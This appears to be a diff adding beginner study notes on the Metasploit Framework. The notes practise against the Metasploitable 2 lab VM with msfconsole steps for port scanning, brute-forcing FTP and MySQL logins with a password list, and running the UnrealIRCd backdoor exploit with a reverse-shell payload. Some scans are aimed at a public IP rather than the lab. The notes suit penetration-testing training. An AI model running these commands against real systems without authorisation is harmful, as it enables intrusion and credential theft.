|
| 1 | +Metasploit Framework - program with a bunch of built in tools you use (comes with Kali) |
| 2 | +- gather information about target |
| 3 | +- scan for vulnerabilities |
| 4 | +- perform exploits / write your own too |
| 5 | +- This is a command line tool |
| 6 | + |
| 7 | +Metasploit.com |
| 8 | +http://www.rapid7.com/products/metasploit/ |
| 9 | +http://www.rapid7.com/products/metasploit/editions.jsp |
| 10 | +- This is the company that maintains the core framework/all the exploits & tools |
| 11 | +- Paid versions include GUI versions of the tools/reporting features/group collab/etc... |
| 12 | +- Free and paid versions both use same core framework & tools (many people prefer CLI) |
| 13 | + |
| 14 | +This is for people who want to check the security of their network or for penetration testers |
| 15 | +You can not run exploits on a target/company without permission (you will go to jail) |
| 16 | + |
| 17 | +-------------------- |
| 18 | + |
| 19 | +Metasploitable 2 - vulnerable test server we can use to practice on (you can run in VM) |
| 20 | +http://sourceforge.net/projects/metasploitable/files/Metasploitable2/ |
| 21 | + |
| 22 | +Note: if database is not connected, before running msfconsole: |
| 23 | +service postgresql start |
| 24 | +service metasploit start |
| 25 | +msfconsole |
| 26 | + |
| 27 | +Metasploitable |
| 28 | +msfadmin |
| 29 | +msfadmin |
| 30 | + |
| 31 | +-------------------- |
| 32 | + |
| 33 | +Applications > Exploitation Tools > Metasploit Framework |
| 34 | + |
| 35 | +Note: if database is not connected, before running msfconsole: |
| 36 | +service postgresql start |
| 37 | +service metasploit start |
| 38 | +msfconsole |
| 39 | + |
| 40 | +- Overview - |
| 41 | +Choose an exploit (tool/something you can do) |
| 42 | +Set options |
| 43 | +Run attack |
| 44 | + |
| 45 | +We usually want to get shell |
| 46 | + |
| 47 | +-------------------- |
| 48 | + |
| 49 | +Basic Usage |
| 50 | + |
| 51 | +# help (available commands and description of what they are used for) |
| 52 | +? |
| 53 | + |
| 54 | +# show exploits |
| 55 | +show exploits |
| 56 | + |
| 57 | +# search for something |
| 58 | +search mysql |
| 59 | + |
| 60 | +# more info about exploit (gives quick overview/description) |
| 61 | +info auxiliary/scanner/mysql/mysql_login |
| 62 | + |
| 63 | +# when you are ready to use an exploit |
| 64 | +use auxiliary/scanner/mysql/mysql_login |
| 65 | + |
| 66 | +# we arent there yet so lets go back (exit this tool) |
| 67 | +back |
| 68 | + |
| 69 | +-------------------- |
| 70 | + |
| 71 | +Intelligence Gathering |
| 72 | + |
| 73 | +# run a simple whois (btw always get whois domain privacy) |
| 74 | +whois thenewboston.com |
| 75 | + |
| 76 | +# get IP address |
| 77 | +host thenewboston.com |
| 78 | + |
| 79 | +# Scan ports (see whats running on the server) |
| 80 | +nmap -F 54.186.250.79 |
| 81 | + |
| 82 | +-------------------- |
| 83 | + |
| 84 | +Find SSH Version |
| 85 | + |
| 86 | +search ssh_verison |
| 87 | +info auxiliary/scanner/ssh/ssh_version |
| 88 | +use auxiliary/scanner/ssh/ssh_version |
| 89 | + |
| 90 | +show options |
| 91 | +set RHOSTS 54.186.250.79 |
| 92 | +show options |
| 93 | +run |
| 94 | + |
| 95 | +-------------------- |
| 96 | + |
| 97 | +Crack FTP Password |
| 98 | + |
| 99 | +search ftp_login |
| 100 | +info auxiliary/scanner/ftp/ftp_login |
| 101 | +use auxiliary/scanner/ftp/ftp_login |
| 102 | + |
| 103 | +# Set password list |
| 104 | +set RHOSTS 192.168.80.135 |
| 105 | +set THREADS 30 |
| 106 | +set USERNAME msfadmin |
| 107 | +set PASS_FILE /usr/share/wordlists/rockyou.txt |
| 108 | +set PASS_FILE Desktop/passwords.txt |
| 109 | +exploit |
| 110 | + |
| 111 | +Ctrl + C (to stop early) |
| 112 | + |
| 113 | +Desktop/passwords.txt |
| 114 | +12345 |
| 115 | +123456 |
| 116 | +1234567 |
| 117 | +12345678 |
| 118 | +abc123 |
| 119 | +iloveyou |
| 120 | +letmein |
| 121 | +monkey |
| 122 | +msfadmin |
| 123 | +password |
| 124 | +qwerty |
| 125 | +test |
| 126 | + |
| 127 | +-------------------- |
| 128 | + |
| 129 | +MySQL Login |
| 130 | + |
| 131 | +use auxiliary/scanner/mysql/mysql_login |
| 132 | + |
| 133 | +set RHOSTS 192.168.80.135 |
| 134 | +set BLANK_PASSWORDS true |
| 135 | +set STOP_ON_SUCCESS true |
| 136 | + |
| 137 | +# Set files |
| 138 | +set PASS_FILE Desktop/passwords.txt |
| 139 | +set USER_FILE Desktop/users.txt |
| 140 | + |
| 141 | +exploit |
| 142 | + |
| 143 | +-------------------- |
| 144 | + |
| 145 | +Get Backdoor |
| 146 | + |
| 147 | +# Search for an exploit |
| 148 | +search Unreal 3.2.1.8 |
| 149 | + |
| 150 | +# Get more information about an exploit |
| 151 | +info exploit/unix/irc/unreal_ircd_3281_backdoor |
| 152 | +use exploit/unix/irc/unreal_ircd_3281_backdoor |
| 153 | + |
| 154 | +# set RHOST to Metasploitable IP |
| 155 | +show options |
| 156 | +set RHOST 198.222.222.2 |
| 157 | +show options |
| 158 | + |
| 159 | +# set LHOST to Kali IP |
| 160 | +show payloads |
| 161 | +set payload cmd/unix/reverse |
| 162 | +show options |
| 163 | +set LHOST 198.115.120.2 |
| 164 | + |
| 165 | +# Make sure everything is setup and run exploit |
| 166 | +show options |
| 167 | +exploit |
| 168 | + |
| 169 | +Notice it says that a session is opened, but then it just gives you a blinking cursor. You are actually sitting in a terminal shell with the target machine! |
| 170 | + |
| 171 | +whoami |
| 172 | + |
| 173 | +-------------------- |
| 174 | + |
| 175 | + |
| 176 | + |
| 177 | + |
| 178 | + |
| 179 | + |
| 180 | + |
| 181 | + |
| 182 | + |
| 183 | + |
| 184 | + |
| 185 | + |
| 186 | + |
| 187 | + |
| 188 | + |
| 189 | + |
0 commit comments